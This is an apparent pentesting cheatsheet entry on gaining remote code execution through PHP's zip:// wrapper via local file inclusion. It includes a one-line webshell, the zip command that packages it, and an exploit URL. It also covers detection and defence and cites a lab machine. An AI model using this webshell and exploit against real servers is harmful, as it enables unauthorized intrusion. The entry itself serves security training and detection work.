PHP zip:// Wrapper RCE
Full command arsenal in the cheatsheetPHP ships stream wrappers that extend the file-inclusion and file-open functions. The zip:// wrapper opens a specific entry inside a ZIP archive with the syntax zip://path.zip#entry. Combined with an LFI (an include/require with a controllable parameter), it lets you run PHP code you placed inside a ZIP, without the .php needing to be served directly.
The pattern: if the app has an index.php?file= that includes files and some point where you can upload a ZIP (or where the app compresses what you upload), you upload a ZIP with a rev.php inside and point the LFI at the wrapper. The # is encoded as %23:
# build the ZIP with the webshell inside (entry "rev.php")
echo '<?php system($_GET["cmd"]); ?>' > rev.php && zip payload.zip rev.phphttp://<ip>/index.php?file=zip://./uploads/upload_123.zip%23rev&cmd=idPHP opens rev (the rev.php) inside the ZIP and runs it through the interpreter. It is the same spirit as phar://, but without relying on deserialization.
Nuances. It requires an LFI that reaches include/require (not just read), it does not need allow_url_include (local wrappers work anyway) and you must know the uploaded ZIP's path. If the app renames or moves the ZIP out of reach, you have to locate it first.
How to detect it. The access-log signature is an inclusion parameter with the zip:// scheme (or its zip%3A%2F%2F encoding and the %23 anchor), which no legitimate flow uses; a WAF inspecting PHP wrappers flags it. Correlate with the prior upload of a .zip whose real content is PHP. Confirmation is the web process opening a .zip from uploads/ via a stream and then spawning sh/bash (auditd/Sysmon for Linux with the web process as ppid). It shares detection with phar://.
Defence. Do not include files from user input; use page allowlists, disable unnecessary wrappers and validate/rename uploads. Related to LFI / path traversal, phar:// to RCE and php://filter wrapper.
Machines where it's used
- ZipperProving Grounds Practice